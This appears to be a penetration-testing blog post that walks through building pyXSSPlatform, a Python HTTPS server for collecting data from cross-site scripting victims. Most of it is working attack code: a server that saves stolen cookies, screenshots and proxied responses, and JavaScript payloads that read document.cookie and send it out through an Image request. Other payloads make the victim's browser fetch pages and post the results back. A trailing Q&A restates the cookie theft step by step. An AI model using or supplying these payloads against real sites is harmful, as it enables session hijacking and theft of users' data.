Penetration Tool Development - Command Line Implementation of XSS Platform

Onedaysec
7 min read
1 views
Penetration Tool Development - Command Line Implementation of XSS Platform — One Day Sec default thumbnail

0x00 Preface

---

Using an XSS platform facilitates testing of XSS vulnerabilities and obtaining critical information. Currently, there are many available online XSS platforms, and one can also attempt to build their own XSS platform.

However, if the test target cannot access external networks, we need to set up a lightweight XSS platform within the internal network, which must be easy to install and support cross-platform compatibility.

I have not yet found a suitable open-source tool, so I plan to write a command-line tool using Python to provide the functionality of an XSS platform.

0x01 Introduction

---

This article will cover the following topics:

  • Design Approach
  • Implementation Details
  • Open Source Code

0x02 Design Approach

---

Following the XSS platform model, the command-line tool needs to provide the following functionalities:

1. Create an HTTPS server to provide web services

2. Distinguish different types of data, extract key content, and save it

3. Modularize functions for easy secondary development

0x03 Implementation Details

---

1. Create an HTTPS server to provide web services

First, create a certificate. You can use openssl with the following command:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

Generate the certificate file https_svr_key.pem

Python3 test code for creating an HTTPS server:

from http.server import SimpleHTTPRequestHandler
from http import server
import ssl

class RequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
f = self.send_head()
if f:
self.copyfile(f, self.wfile)
f.close()

port = 443
httpd = server.HTTPServer(("0.0.0.0", port), RequestHandler)

httpd.socket = ssl.wrap_socket(httpd.socket, certfile="https_svr_key.pem", server_side=True)

print("HTTPS Server listening on 0.0.0.0:%d" % port)
httpd.serve_forever()

The above code will create a WEB server supporting HTTPS protocol, with functionality similar to python -m SimpleHTTPServer 8000

2. Distinguish different data, extract key content and save

Need to customize the processing module RequestHandler to handle GET and POST packets

The code for handling GET packets is as follows:

class RequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
f = self.send_head()
if f:
self.copyfile(f, self.wfile)
f.close()
print(self.headers["User-Agent"])
if "/cookie" in self.path:
localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())
savePath = self.client_address[0] + "-Cookie-" + str(localtime) + ".txt"
print("[+] New Cookie: ")
print(" Save as: " + savePath)
cookieData = urllib.parse.unquote(self.path[15:])
file = open(savePath,'wb')
file.write(cookieData.encode())
file.close()

Among these, print(self.headers) is used to output the Header content of the GET request, which can be used to identify the user's browser

To obtain user cookies, a custom format is adopted here. If the GET request address contains the string 'cookie', the request content is saved as a file to store the acquired user cookies.

The code for processing POST packets is as follows:

class RequestHandler(SimpleHTTPRequestHandler):
def do_POST(self):
data = "Success"
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(data.encode("utf-8"))
req_datas = self.rfile.read(int(self.headers["content-length"]))
print(self.headers["User-Agent"])
if self.path == "/screen":
localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())
savePath = self.client_address[0] + "-CaptureScreen-" + str(localtime) + ".png"
print("[+] New CaptureScreen: ")
print(" Save as: " + savePath)
base64str = urllib.parse.unquote(req_datas.decode())
base64str = base64str[33:]
imgData = base64.b64decode(base64str)
file = open(savePath,'wb')
file.write(imgData)
file.close()
elif self.path == "/data":
localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())
savePath = self.client_address[0] + "-XMLHttpRequest-" + str(localtime) + ".html"
httpData = urllib.parse.unquote(req_datas.decode())
index = httpData.index(';data=')
targetURL = httpData[9:index]
responseData = httpData[index+6:]
print("[+] New XMLHttpRequest")
print(" TargetURL: " + targetURL)
print(" Save as: " + savePath)
file = open(savePath,'wb')
file.write(responseData.encode())
file.close()
else:
print(req_datas.decode())

The above code will uniformly reply with the text content "Success" and a status code of 200 for POST packets.

It evaluates the address of the POST request, corresponding to the following three functions respectively:

(1) Save user screen capture

Request address is /screen

Extract image data from POST request parameters, perform Base64 decoding, and save

(2) Control user to send HTTP data packets to a specified address and save the returned result

Request address is /data

Extract data from POST request parameters and save

(3) Default functionality

Command line output of POST request parameters

Note:

When extracting data content for the above three functionalities, decoding with urllib.parse.unquote() is required

3. Modular functionality for easy secondary development

The default access address for the XSS platform is: https:///index.js

After creating the HTTPS server, you only need to edit index.js in the same directory as the Python script

The following describes the functionalities implemented by these two js scripts:

(1) Retrieve user cookies

To read user cookies, use document.cookie

When returning cookie data, to avoid cross-origin issues, you can use the Image object. Example code is as follows:

var serverUrl = "https:///cookie";//change this
var newimg = new Image();
newimg.src=serverUrl+"?cookie="+escape(document.cookie);

Using the Image object only allows sending GET requests, cannot obtain response content, and can only determine whether there is a response through onerror and onload events

(2) Sending HTTP requests via JavaScript

HTTP requests support GET and POST, and also need to distinguish between synchronous and asynchronous methods

For synchronous methods, once the call starts, the caller must wait until the method call returns before proceeding with subsequent actions. To send the request result back to the server, you can obtain the return result of the data packet via return and then transmit it back

For asynchronous methods, once the call starts, the method call returns immediately. To send the request result back to the server, this can be achieved through a callback function

A simple understanding of the callback function: a function can be called as a parameter in another function

For example, the following code:

function test1(callback)
{
a=1
callback(a)
}
test1(function(x){console.log(x)})

After executing the code, 1 will be output to the console

In summary, to send a GET data packet to a specified URL and return the request result to the server, two methods can be used:

Method 1: Synchronous method

function initialize() {
var xmlHttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlHttp;
}
function getSynchronous(url) {
var xmlHttp=initialize();
xmlhttp.open("GET",url,false);
xmlhttp.send();
return xmlhttp.responseText;
}
function postSynchronous(url, data, type) {
var xmlHttp=initialize();
xmlhttp.open("POST",url,false);
xmlhttp.setRequestHeader("Content-type",type);
xmlhttp.send(encodeURIComponent(data));
return xmlhttp.responseText;
}
var xmlhttp;
var serverUrl = "https:///data";
var targetUrl = "" + "?t=" + Math.random();
responseData=getSynchronous(targetUrl);
postSynchronous(serverUrl,"location=" + targetUrl + ";data=" + responseData, "application/x-www-form-urlencoded");

Method 2: Asynchronous Method + Callback Function

function initialize() {
var xmlHttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlHttp;
}
function getAsynchronous(url, callback) {
var xmlHttp = initialize();
xmlhttp.open("GET", url, true);
xmlhttp.send();
xmlhttp.onreadystatechange = function()
{
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
{
if (callback)
{
callback(xmlhttp.responseText);
}
}
}
}
function postAsynchronous(url, data, type, callback) {
var xmlHttp = initialize();
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type",type);
xmlhttp.send(encodeURIComponent(data));
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
if (callback)
{
callback(a.responseText);
}
}
}
}
var xmlhttp;
var serverUrl = "https:///data"
var targetUrl = "" + "?t=" + Math.random();
getAsynchronous(targetUrl, function(responseText){postAsynchronous(serverUrl, "location=" + targetUrl + ";data=" + responseText, "application/x-www-form-urlencoded", "");});

Note:

Adding the parameter "?t=" + Math.random() when sending the request is to prevent receiving cached pages from the server.

For Chrome browser, when sending HTTP requests for cross-origin access, Chrome will indicate that the request is blocked by the CORS policy, but this does not affect the sending and receiving of data.

0x04 Open Source Code

---

The complete code has been open-sourced, with the address as follows:

An open-source project

pyXSSPlatform can be run directly from the command line and supports the following three functions:

  • GetCookie, obtains user cookies and saves them as .txt files
  • CaptureScreen, captures the user's screen and saves it as a .png file
  • GET/POST, controls the user to send HTTP data packets to a specified address, with results saved as .html files

Usage:

(1) Generate a self-signed certificate using openssl, command example:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

(2) Edit the file index.js

Fill in the JS code to be loaded, code templates can refer to files in Payload_Template

(3) Start the WEB server, command example:

pyXSSPlatform.py 192.168.1.1 443 https_svr_key.pem

At this point, the startup address of the XSS platform is as follows:

https://192.168.1.1/index.js

You can modify index.js at any time to control users to execute different functions

0x05 Summary

---

This article introduces the method of building an HTTPS server with Python and implementing an XSS platform via command line, using the open-source tool pyXSSPlatform. It is easy to operate, supports cross-platform running, and allows for secondary development.

Related Questions & Answers

What modular functions does the custom XSS platform's index.js script provide besides cookie theft?

The `index.js` script supports two main modular functions: (1) retrieving user cookies via `document.cookie` and the `Image` object; (2) sending HTTP requests (GET/POST) to internal or external targets, with the response exfiltrated back to the platform's '/data' endpoint. The platform also includes optional screen capture functionality, where a POST to '/screen' sends Base64-encoded image data. This design allows easy secondary development, as noted in the [original article](/news/penetration-tool-development-command-line-implementation-of-xss-platform).

What are the two methods described in the article for forwarding HTTP requests via JavaScript in the XSS platform?

The article presents synchronous and asynchronous methods. The synchronous approach uses `XMLHttpRequest` with `false` as the async parameter, returning the response immediately. The asynchronous method uses a callback function to handle the response later. Both methods allow the attacker to send a GET/POST request to a target URL from the victim's browser and exfiltrate the response back to the XSS platform's '/data' endpoint. For a deeper understanding of HTTP request handling, see related discussions in [Penetration Basics - Command Line Implementation for Reading Exchange Emails via OWA](/news/penetration-basics-command-line-implementation-for-reading-exchange-emails-via-outlook-web-access-owa).

How can an attacker retrieve a victim's cookies using the JavaScript payload from this XSS platform?

The platform serves an `index.js` file that, when loaded by the victim's browser, reads `document.cookie` and sends it to the server via an `Image` object (GET request) to avoid cross-origin issues. For example: `new Image().src = serverUrl + '?cookie=' + escape(document.cookie)`. The platform then saves the cookie data as a timestamped `.txt` file. This technique is part of the [XSS platform's modular functionality](/news/penetration-tool-development-command-line-implementation-of-xss-platform).

How does the command-line XSS platform create an HTTPS server and handle incoming requests?

It uses Python's `http.server` and `ssl.wrap_socket` to create an HTTPS server listening on port 443, with a self-signed certificate generated via OpenSSL. The `RequestHandler` class processes GET and POST packets: for GET, it saves cookies if the path contains '/cookie'; for POST, it handles screen captures ('/screen'), HTTP request results ('/data'), and default data output. This modular approach is detailed in the [Penetration Tool Development article](/news/penetration-tool-development-command-line-implementation-of-xss-platform).

Why would a penetration tester need to build their own command-line XSS platform instead of using an online one?

Online XSS platforms are convenient but fail when the target system cannot access the external internet. In internal network penetration tests, you need a lightweight, cross-platform, easy-to-install XSS platform that runs locally. This article describes a Python-based command-line tool designed for such scenarios, leveraging [Penetration Tool Development - Command Line Implementation of XSS Platform](/news/penetration-tool-development-command-line-implementation-of-xss-platform) to create an HTTPS server and handle stolen data.

Continue Reading